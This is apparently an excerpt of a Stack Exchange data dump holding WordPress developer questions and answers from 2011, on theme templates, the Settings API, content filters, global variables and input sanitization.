&lt;em&gt;think&lt;/em&gt; the actual crux of adding a prepended character(s) to custom  titles is modifying the action of the regex-detecting-then-variable-setting function of get_the_content inside &lt;code&gt;post-template.php&lt;/code&gt; (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/post-template.php#L203&quot; rel=&quot;nofollow&quot;&gt;line 203&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$more_link_text = strip_tags(wp_kses_no_null(trim($matches[1])));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, what's the best (non-destructive, and upgrade-proof) way to override the default behaviour of that subroutine and define a customised version of &lt;code&gt;$more_link_text&lt;/code&gt;? I really don't want to go destructively hacking core files, but I struggle with coding filters so at the moment it's still looking tempting. &lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditorDisplayName="" LastEditDate="2011-08-01T17:53:10.293" LastActivityDate="2011-08-01T17:53:10.293" Title="Prepending character(s) to a custom &lt;!--more--&gt; tag title?" Tags="&lt;filters&gt;&lt;tags&gt;&lt;hooks&gt;&lt;more&gt;&lt;quicktag&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24418" PostTypeId="2" ParentId="24416" CreationDate="2011-07-29T12:12:56.187" Score="1" ViewCount="" Body="&lt;p&gt;Some where in your theme you should have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of removing support for a post type try only adding support for the post types you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails', array( 'post', 'movie' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-29T12:12:56.187" CommentCount="1" />
  <row Id="24419" PostTypeId="1" AcceptedAnswerId="24421" CreationDate="2011-07-29T12:17:07.820" Score="0" ViewCount="38" Body="&lt;p&gt;My blog have 2 categories: Photos and Texts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like do customize the category template so that when it renders Photos post's, I want to show a thumbnail gallery and when it renders Texts post's, I want show only the excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an way to do this without hardcoding on category.php? Or, at least, how is the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7261" LastActivityDate="2011-07-29T15:57:03.653" Title="How to custom category template based on category?" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="24420" PostTypeId="2" ParentId="24412" CreationDate="2011-07-29T12:21:01.680" Score="0" ViewCount="" Body="&lt;p&gt;I presume you are getting the page content like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_id = 1;&#xA;$page = get_page($page_id);&#xA;$content = $page-&amp;gt;post_content;&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If thats the case then you can run the content through the &lt;code&gt;the_content&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = apply_filters('the_content', $content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The will process the content as if it was run through &lt;code&gt;the_content()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-29T12:21:01.680" />
  <row Id="24421" PostTypeId="2" ParentId="24419" CreationDate="2011-07-29T12:23:51.867" Score="1" ViewCount="" Body="&lt;p&gt;create &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;category templates&lt;/a&gt;; i.e. category-photos.php and category-texts.php; starting with a copy of the code from category.php. you will still need to hard-code the changes in each template.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-29T12:23:51.867" CommentCount="1" />
  <row Id="24422" PostTypeId="2" ParentId="24367" CreationDate="2011-07-29T12:33:53.223" Score="3" ViewCount="" Body="&lt;p&gt;I'm not sure if all of these are WordPress globals, but i did a quick grep type search of the WordPress files and tried to extract all the globals i could..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a list i compiled for you, that may not be perfect, but should *hopefully* represent alot of the &lt;code&gt;$GLOBALS&lt;/code&gt; keys that WordPress uses, it won't account for globised variables that aren't explicitly defined as &lt;code&gt;$GLOBAL&lt;/code&gt;, but still have global scope.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['_menu_item_sort_prop']&#xA;$GLOBALS['_wp_sidebars_widgets']&#xA;$GLOBALS['blog_id']&#xA;$GLOBALS['body_id']&#xA;$GLOBALS['comment']&#xA;$GLOBALS['comment_depth']&#xA;$GLOBALS['content_width']&#xA;$GLOBALS['current_site']&#xA;$GLOBALS['current_user']&#xA;$GLOBALS['custom_background']&#xA;$GLOBALS['custom_image_header']&#xA;$GLOBALS['debug_bar']&#xA;$GLOBALS['editor_styles']&#xA;$GLOBALS['is_winIE']&#xA;$GLOBALS['link']&#xA;$GLOBALS['login_grace_period']&#xA;$GLOBALS['month']&#xA;$GLOBALS['month_abbrev']&#xA;$GLOBALS['more']&#xA;$GLOBALS['post']&#xA;$GLOBALS['post_type']&#xA;$GLOBALS['posts']&#xA;$GLOBALS['query_string']&#xA;$GLOBALS['request']&#xA;$GLOBALS['single']&#xA;$GLOBALS['submenu']&#xA;$GLOBALS['tab']&#xA;$GLOBALS['type']&#xA;$GLOBALS['weekday']&#xA;$GLOBALS['weekday_abbrev']&#xA;$GLOBALS['weekday_initial']&#xA;$GLOBALS['wp_admin_bar']&#xA;$GLOBALS['wp_filter']&#xA;$GLOBALS['wp_object_cache']&#xA;$GLOBALS['wp_post_types']&#xA;$GLOBALS['wp_query']&#xA;$GLOBALS['wp_styles']&#xA;$GLOBALS['wp_taxonomies']&#xA;$GLOBALS['wp_the_query']&#xA;$GLOBALS['wp_version']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to get a better idea of everything inside the global array you could run something like the following to get a print out, because the above approach was obviously flawed(globals are defined in more than one way).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'shutdown', 'print_them_globals' );&#xA;&#xA;function print_them_globals() {&#xA;&#xA;    ksort( $GLOBALS );&#xA;    echo '&amp;lt;ol&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;'. implode( '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', array_keys( $GLOBALS ) ) . '&amp;lt;/li&amp;gt;';&#xA;    echo '&amp;lt;/ol&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should give you a more comprehensive list of variables in the global scope..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's helpful.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-29T16:08:27.897" LastActivityDate="2011-07-29T16:08:27.897" CommentCount="3" />
  <row Id="24423" PostTypeId="1" CreationDate="2011-07-29T12:56:44.003" Score="0" ViewCount="65" Body="&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;video cat id = 4&#xA;video cat child category id's = 7,8,9&#xA;news cat id = 5&#xA;news cat child category id's = 11,12,13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna display choosen categories ( like video and news ) in the different archive.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( sorry about my bad Eng )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for Chris S but its not what i want to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;$catPosts = new WP_Query();&#xA;$catPosts-&amp;gt;query( array( 'category__and' =&amp;gt; array(5,11,12,13), 'posts_per_page' =&amp;gt; 5, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC' ) );&#xA;  while ($catPosts-&amp;gt;have_posts()) : $catPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;   By &amp;lt;?php the_author() ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;  &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I wrote the parent category id, i dont wanna write its child category id's. When i choose the parent category id the system should its child category ids in the same archive page.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditorDisplayName="" LastEditDate="2011-07-30T12:11:58.910" LastActivityDate="2011-08-31T17:37:39.997" Title="Creating archive pages for children categories" Tags="&lt;categories&gt;&lt;archive&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="24424" PostTypeId="2" ParentId="24408" CreationDate="2011-07-29T13:13:00.083" Score="1" ViewCount="" Body="&lt;p&gt;Now I would suggest to do it with Post Formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before there were Post Formats, I made &lt;a href=&quot;http://senl.in/hsLf0z&quot; rel=&quot;nofollow&quot;&gt;sth similar&lt;/a&gt; to what you're looking to do. Although I am not sure whether it is possible to &quot;grab&quot; You Tube Favorites, others should be possible. I actually integrated a lot of social media feeds using the Feed WordPress plugin and Yahoo Pipes where necessary. You can read more on the linked page. &lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-29T13:13:00.083" CommentCount="1" />
  <row Id="24426" PostTypeId="1" CreationDate="2011-07-29T14:07:18.910" Score="1" ViewCount="43" Body="&lt;p&gt;I'm creating a theme and after the installation it is need put the widgets. Exists any way to setup some widgets automatically? Some specific function to make it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7453" LastActivityDate="2011-07-29T15:46:29.757" Title="Insert widgets after theme installation" Tags="&lt;widgets&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="24427" PostTypeId="1" AcceptedAnswerId="24441" CreationDate="2011-07-29T14:35:31.117" Score="4" ViewCount="93" Body="&lt;p&gt;Let me preface this by saying that I hardly ever work with WordPress - in fact, the last time I did a site in WordPress was back during 2.2. Yesterday I made quite a mess of everything and asked several questions here trying to get a basic menu plugin working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have the plugin fully functional and behaving exactly as I expect, so I decided to make minor changes here and there to add functionality and compatibility - including using the Settings API. However a very short moment into reading tutorials on this API and I became quite confused, then this confusion only deepened as I read on and tried to implement the examples - which was made even more difficult by the fact that my plugin is implemented as a class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm doing something wrong, from what I understand to use the Settings API requires the creation of a new function PER SETTING. This means 3-5 functions for the average plugin, and up to hundreds for more advanced plugins. It just seems ludicrous to write this many functions (and develop a naming system to keep from confusing them) when you could just as easily import all applicable &lt;code&gt;$_POST&lt;/code&gt; variables into an array and forego the entire mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I'm old-fashioned, but unless there's something to gain from it I don't see the reason to triple or quadruple how much code I'm writing. Here's how I managed options before attempting to add the Settings API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function __construct() {&#xA;        /* constructor stuff */&#xA;        $this-&amp;gt;options = $this-&amp;gt;db_options = get_option( 'de-menu-options' );&#xA;        if( $this-&amp;gt;options === false ){&#xA;            $this-&amp;gt;options = $this-&amp;gt;defaults;&#xA;        }&#xA;        if (is_admin()) {&#xA;            add_action('admin_menu', array(&amp;amp;$this, 'admin_menu'));&#xA;        }   &#xA;        /* more stuff */&#xA;&#xA;        // When WordPress shuts down we store changes to options&#xA;        add_action('shutdown', array(&amp;amp;$this, 'update'));&#xA;    }&#xA;&#xA;    public function admin_menu() {&#xA;        add_options_page('DE Menu Options', 'DE Menu', 'manage_options', 'de-menu-options', array(&amp;amp;$this, 'options'));&#xA;        add_option('de-menu-options', $this-&amp;gt;options);&#xA;    }&#xA;&#xA;    public function options() {&#xA;        if (!current_user_can('manage_options')) {&#xA;            wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;        }&#xA;        if ( !empty($_POST) &amp;amp;&amp;amp; check_admin_referer('de-menu-options') ) {&#xA;            // These options are saved to the database at shutdown&#xA;            $this-&amp;gt;options = array(&#xA;                &quot;columns&quot; =&amp;gt; $_POST[&quot;de-menu-columns&quot;],&#xA;                &quot;maintenance&quot; =&amp;gt; $_POST[&quot;de-menu-maintenance&quot;]&#xA;            );&#xA;            echo 'DE Menu options saved';&#xA;        }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;DE Menu Plugin&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php settings_fields('de-menu-options'); ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;de-menu-maintenance&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;de-menu-columns&quot;&amp;gt;Columns:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;de-menu-columns&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;options['columns']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;de-menu-submit&quot; value=&quot;Update Options »&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;    function update() {&#xA;        // By storing all changes at the end we avoid multiple database calls&#xA;        $diff = array_diff( $this-&amp;gt;options, $this-&amp;gt;db_options );&#xA;        if( !empty( $diff )  ){&#xA;            update_option('de-menu-options', $this-&amp;gt;options);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now with the settings API I have something more like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function __construct() {&#xA;        /* constructor stuff */&#xA;        // Do I load options? Will they be loaded for me? Who knows?&#xA;        if (is_admin()) {&#xA;            add_action('admin_menu', array(&amp;amp;$this, 'admin_menu'));&#xA;            add_action('admin_init', array(&amp;amp;$this, 'admin_init'));&#xA;        }   &#xA;        /* more stuff */&#xA;        // Settings API should update options for me... I think&#xA;    }&#xA;&#xA;    public function admin_menu() {&#xA;        add_options_page('DE Menu Options', 'DE Menu', 'manage_options', 'de-menu-options', array(&amp;amp;$this, 'options'));&#xA;        add_option('de-menu-options', $this-&amp;gt;options);&#xA;    }&#xA;&#xA;    public function admin_init() {&#xA;        register_setting('de-menu-options','de-menu-options',array(&amp;amp;$this,'validate'));&#xA;        add_settings_section('de-menu-main-options', 'Main Settings', 'options_section', 'de-menu-options');&#xA;        add_settings_field('de-menu-maintenance', 'Maintenance Mode', array(&amp;amp;$this,'options_maintenance'), 'de-menu-options', 'de-menu-main-options');&#xA;        add_settings_field('de-menu-columns', 'Columns', array(&amp;amp;$this,'options_columns'), 'de-menu-options', 'de-menu-main-options');&#xA;    }&#xA;&#xA;    public function options() {&#xA;        if (!current_user_can('manage_options')) {&#xA;            wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;        }&#xA;        if ( !empty($_POST) &amp;amp;&amp;amp; check_admin_referer('de-menu-options') ) {&#xA;            // These options are saved to the database at shutdown&#xA;            $this-&amp;gt;options = array(&#xA;                &quot;columns&quot; =&amp;gt; $_POST[&quot;de-menu-columns&quot;],&#xA;                &quot;maintenance&quot; =&amp;gt; $_POST[&quot;de-menu-maintenance&quot;]&#xA;            );&#xA;            echo 'DE Menu options saved';&#xA;        }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;DE Menu Plugin&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php settings_fields('de-menu-options'); ?&amp;gt;&#xA;        &amp;lt;?php do_settings_sections('de-menu-options'); ?&amp;gt;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;de-menu-submit&quot; value=&quot;Update Options »&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;    public function options_section() {&#xA;        echo '&amp;lt;p&amp;gt;' . __('Main description of this section here.','de-menu-lang') . '&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    public function options_maintenance() {&#xA;        echo &quot;&amp;lt;input id='de-menu-maintenance' name='options[maintenance]' type='checkbox' /&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    public function options_columns() {&#xA;        echo &quot;&amp;lt;input id='de-menu-columns' name='options[columns]' type='checkbox' value=&quot;.$this-&amp;gt;options['columns'].&quot;/&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    function validate($options) {&#xA;        return $options; // I guess?&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's probably painfully obvious from the scrollbars that the code is already longer with just two options. It's like-wise obvious from the comments that I don't entirely understand what I'm doing. Then there's the matter of having 5 new functions (and removing only 1) in order to accomplish all of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just what advantage am I gaining from all of this extra work?&lt;/p&gt;&#xA;" OwnerUserId="7429" LastActivityDate="2011-07-29T16:15:24.030" Title="What are the advantages to the Settings API?" Tags="&lt;plugin-development&gt;&lt;settings&gt;&lt;settings-api&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" />
  <row Id="24428" PostTypeId="2" ParentId="24403" CreationDate="2011-07-29T14:58:07.293" Score="0" ViewCount="" Body="&lt;p&gt;I haven't been working with WordPress too much, so there may be someone who can give you more details. But here's what I've come to understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have multiple blogs (one for each group) then you need to EITHER:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Filter the posts according to who is logged in&lt;/li&gt;&#xA;&lt;li&gt;Operate a multi-site WordPress install&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The former could be done as part of the plugin that I will explain later, the latter can be done using WordPress core - although it will not be able to dynamically create these new blogs if a new user group were added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as having users logged into your own website recognized as authenticated in WordPress, you would need a plugin that loads after WordPress's own user authentication. If you load before WordPress's user authentication then you would verify they were logged in and WordPress would immediately over-write this saying that they were not. The &lt;code&gt;init&lt;/code&gt; hook would work best for this (http://codex.wordpress.org/Plugin_API/Action_Reference)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'load_my_user');&#xA;function load_my_user(){&#xA;    /* Determine the user ID and name of who is logged in*/&#xA;    /* You should know how to do this for your website */&#xA;    wp_set_current_user($id, $name);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user does not exist then WordPress should create it, so if user registration is disabled in WordPress (done via the Dashboard) to prevent an ID collision then your users should be able to immediately take advantage of this and log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for filtering the returned posts according to group, I'm not &lt;em&gt;entirely&lt;/em&gt; sure how that would work, but I suspect it would involve the &lt;code&gt;pre_get_posts&lt;/code&gt; or &lt;code&gt;posts_selection&lt;/code&gt; hook. In fact, it may even be possible to do this using WordPress core features. I'm really not clear on this much. But the above should help you at least log in to WordPress with your current user database =)&lt;/p&gt;&#xA;" OwnerUserId="7429" LastActivityDate="2011-07-29T14:58:07.293" />
  <row Id="24429" PostTypeId="2" ParentId="20317" CreationDate="2011-07-29T15:16:34.997" Score="2" ViewCount="" Body="&lt;p&gt;Do you have a custom post type? This is exactly the kind of behavior you will see from have a custom post type with a slug that matches the slug of your pages. For example, if you have a page called &quot;portfolio&quot; and a post type called &quot;portfolio&quot;, both with a slug of &quot;portfolio&quot;, 404s are going to be thrown for some of these.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-29T15:16:34.997" />
  <row Id="24430" PostTypeId="2" ParentId="24394" CreationDate="2011-07-29T15:37:07.233" Score="0" ViewCount="" Body="&lt;p&gt;Do you mean something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ( in_category( 'neighborhood' )) {&#xA;    // do this&#xA;} else {&#xA;    // do that&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_category(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should show the category in which your post is.&lt;/p&gt;&#xA;" OwnerUserId="7452" LastActivityDate="2011-07-29T15:37:07.233" />
  <row Id="24432" PostTypeId="1" CreationDate="2011-07-29T15:43:40.730" Score="0" ViewCount="32" Body="&lt;p&gt;I'm creating a public form on a page that allows non-registered (public) visitors to create posts of a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using nonces, which I naiveley thought would expire once they were used. This doesn't appear to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19732/prevent-duplicate-posts-in-wp-insert-post-using-custom-fields&quot;&gt;This post&lt;/a&gt; seems to address the issue by creating a meta field and verifying that it doesn't exist before creating the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a best practice that prevents double-form submissions (that doesn't require writing a meta field?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-07-29T20:59:00.480" Title="Public posts - preventing duplicate form submissions" Tags="&lt;nonce&gt;" AnswerCount="1" />
  <row Id="24433" PostTypeId="2" ParentId="24427" CreationDate="2011-07-29T15:45:11.057" Score="4" ViewCount="" Body="&lt;p&gt;If you use callbacks properly, there's no need for all the redundant code. &lt;a href=&quot;https://github.com/chipbennett/oenology/blob/master/functions/options-register.php&quot; rel=&quot;nofollow&quot;&gt;Here's how I implement the Settings API, in a way that is completely scalable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages (among other things):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Settings API forces sanitization of untrusted user data.&lt;/li&gt;&#xA;&lt;li&gt;The Settings API forces options to be registered as an options array, resulting in a single wp_options DB entry, rather than discrete DB entries for each option&lt;/li&gt;&#xA;&lt;li&gt;The Settings API facilitates security hardening of the settings form&lt;/li&gt;&#xA;&lt;li&gt;The Settings API facilitates admin UI consistent with core admin UI, resulting in better UX&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-29T15:45:11.057" CommentCount="3" />
  <row Id="24435" PostTypeId="2" ParentId="4782" CreationDate="2011-07-29T15:54:06.260" Score="0" ViewCount="" Body="&lt;p&gt;Here is a function that will allow you to remove wp defined meta boxes (even defaults) inside the nav-menus.php page.  By removing the meta box, you also remove the checkbox option from the &quot;Screen Options&quot; tab.  A stand alone remove_meta_box() function call won't work because, as EAMann said, the boxes are user-defined.  You need to check the admin status of the user before you can remove.  You can place this function inside your theme functions.php with no change to the wp-admin files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_meta_in_custom_menu_admin() {&#xA;&#xA;    global $pagenow;&#xA;    global $current_user;&#xA;&#xA;    get_currentuserinfo();&#xA;&#xA;    $user_login=$current_user-&amp;gt;user_login;&#xA;&#xA;    if($user_login==&quot;scholar&quot;) {&#xA;    //nothing&#xA;    } else {&#xA;        if (is_admin() &amp;amp;&amp;amp; $pagenow=='nav-menus.php') {&#xA;            remove_meta_box('add-custom-links', 'nav-menus', 'side');&#xA;            remove_meta_box('nav-menu-theme-locations', 'nav-menus', 'side');&#xA;            remove_meta_box('add-category', 'nav-menus', 'side');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add_action( 'admin_head', 'hide_meta_in_custom_menu_admin'  );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simpler code, to remove for any user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_meta_in_nav_menu() {&#xA;&#xA;    global $pagenow;&#xA;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='nav-menus.php') {&#xA;        remove_meta_box('add-custom-links', 'nav-menus', 'side');&#xA;        remove_meta_box('nav-menu-theme-locations', 'nav-menus', 'side');&#xA;        remove_meta_box('add-category', 'nav-menus', 'side');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add_action( 'admin_head', 'hide_meta_in_nav_menu'  );&lt;/p&gt;&#xA;" OwnerUserId="7455" LastActivityDate="2011-07-29T15:54:06.260" />
  <row Id="24436" PostTypeId="1" AcceptedAnswerId="26685" CreationDate="2011-07-29T15:55:50.923" Score="4" ViewCount="71" Body="&lt;p&gt;Looking at the Codex for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt; it states that this function &quot;...sanitizes variables, does some checks, fills in missing variables like date/time, etc. &quot; (EDIT: I &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post#Security&quot; rel=&quot;nofollow&quot;&gt;updated the Codex entry&lt;/a&gt; to include a more robust example that includes security as well as post meta and category assignment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering whether I need to do any further sanitization to prevent XSS hacks and the like or whether enough is being done through the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, I've checked through the function in core and haven't found any wp_kses() or other sanitization on post_content for example, so I'm a little concerned. All I can see that it does is stripslashes_deep() on the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should I be running wp_kses() or anything else when I build my arguments to wp_insert_post()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best practice here? The Codex is pretty cavalier about security in its example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-08-23T14:50:08.520" LastActivityDate="2011-08-23T21:32:55.140" Title="How safe / sanitized is wp_insert_posts()?" Tags="&lt;security&gt;&lt;sanitization&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="24437" PostTypeId="2" ParentId="24419" CreationDate="2011-07-29T15:57:03.653" Score="0" ViewCount="" Body="&lt;p&gt;what about the category archive page?&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-07-29T15:57:03.653" />
  <row Id="24438" PostTypeId="2" ParentId="24417" CreationDate="2011-07-29T16:00:38.503" Score="2" ViewCount="" Body="&lt;p&gt;Maybe I'm misunderstanding the question - if so apologies!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;raquo; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;represents the &lt;code&gt;»&lt;/code&gt; symbol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think all you need to do is add it into your second example, if that's what's displaying in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_content(&quot;&amp;amp;raquo; Continue reading &quot; . the_title('', '', false)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-29T16:00:38.503" CommentCount="1" />
